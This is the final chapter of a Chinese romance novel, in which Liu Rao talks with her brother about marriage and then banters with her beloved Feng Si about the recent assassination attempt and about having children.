“噢,那我还得考虑考虑。” “行吧行吧,那你考虑去吧,别打搅你侄女睡觉。” 柳娆撅了撅嘴,瞅他一眼,恋恋不舍往外走。 柳珣跟在她身旁:“媚儿,你是还有什么顾虑吗?” “我也不知道,我再想想吧。”她松快跳下台阶,在石子小径上轻松蹦跳着,“三哥,你有什么喜欢的女子吗?” 柳珣满脸羞涩:“我日日都在读书,哪里有机会遇到女子啊,再说了,婚姻大事,一向都是父母之命,哪里好意思将喜不喜欢挂在嘴上?多难为情啊。” “你真是个呆瓜。”柳娆打量他几眼,很是不解,“那万一你娶回来的是你不喜欢的呢?成亲不得选自己喜欢的才行吗?” “那是你,总归,对我来说,听父亲母亲安排就好。” 柳娆轻哼一声,听见外面的动静,伸着脖子往前一看,笑逐颜开,大步奔去:“小四!” 封肆快步迎来:“你醒了?我还以为你还得再睡一会儿呢。” “睡了那么久,肯定得醒了啊。你忙完了吗?你要是忙完了我们去玩吧!” 封肆端详她片刻:“昨日的事,没吓到?” 她思索片刻,正色点头:“嗯,是挺惊险的。” 封肆低笑:“没被吓到就好。” “你给我的祖母母亲请过安了吗?我们去跟他们打个招呼,然后我们一起玩。”她抓紧他的手掌,将他手指掰开,将自己的手指挤入他的指缝,高兴地荡得高高的。 封肆垂着手,随意让她晃悠。 她又问:“刺客抓到了吗?” “抓到了。” “是” “和先前那几人是一伙的吗?” “算是吧。” “噢,那这回抓干净了吗?我们回宁州的时候,不会又会遇到这样的事吧?” 封肆握紧她的手:“我不能跟你保证一定不会有刺客再来,但是经过这回风波,若是下回再遇到这样的事,再如此仓惶应对,这王府上下养着的侍卫也就不用吃饭了。” 她思索好一会儿:“那就是不会再有危险了?” “差不多。” “那就好那就好。”她拍拍心口,又问,“你那天是怎么走出来的?在哪里寻到路的?” “一直往前走,夜半走出去的。” “真神奇,我们命真大。”她感慨一声,紧紧抱住他的腰,“小四,吓死我了,我还以为咱们要死在那儿了。” 封肆轻轻拍拍她的背:“我不会让你有事的。” 她笑眯眯扬头:“小四,你真厉害,要不是你及时跳崖,及时把我扔进山洞里,我现在肯定就死了。” 封肆勾唇,垂眸看去:“那你还觉得我是坏人吗?” 柳娆愣住。 封肆都不知该不该生气了:“都这样了,还觉得我是坏人?” 柳娆抿了抿唇:“我不知道。” “那你爱我吗?” “爱,肯定爱的啊!”她毫不犹豫点头。 封肆叹息:“行吧,爱我就行了。” 她抿抿唇,又靠在他手臂上:“小四,我刚刚去二哥那里了,小侄女出生了,特别可爱。” 封肆顺着她的话问:“如何?” “你想要孩子吗?” “我?”封肆怔愣一瞬,“你想要孩子?” “不知道,你想要吗?你要是想要,我可以给你生几个啊。” “咳咳咳!”封肆被呛到,“咳咳,主要还是看你喜不喜欢,你要是喜欢再说,不必说这样的话。” 他现在伺候一个都费劲,再给他生几个这样的,他不是要伺候好几个? 柳娆若有所思:“行吧,那我再想想。” 封肆拍拍她的手背:“对对,得好好想想。” “你喜欢男孩还是女孩?”她又问。 “男孩吧。”男孩作妖起来能打。 “啊?可是我喜欢小女孩啊,我的小侄女特别可爱,你去看了就知道了,真的特别可爱。” 封肆扯了扯嘴角:“是吧?” 当初他就是看她可爱,被迷了心窍了,现在好了,跟中了毒似的,恨不得一心扑在人身上。 柳娆搡搡他的肩:“那你要不要女儿嘛。” 他被晃得头晕:“要要要,你生什么我要什么,你就是生个小猫小猪我都要。” “我生的是你的孩子,你又不是猪是猫,他怎么会是小猪小猫呢?” 封肆举双手投降:“对,媚儿说的都对。” “那就生个女儿吧,我这么漂亮,我的孩子肯定也很漂亮!” “是是,那是一定的。” 他捏了捏眉心,有些头疼。 长相、性格以及其他的什么都不要紧了,只要脾气好些,他就谢天谢地了。 “你皱眉干什么?你不高兴吗?” “高兴高兴,高兴。” 有什么比伺候一屋子的小祖宗更高兴的呢? 他认了。 (完)《 》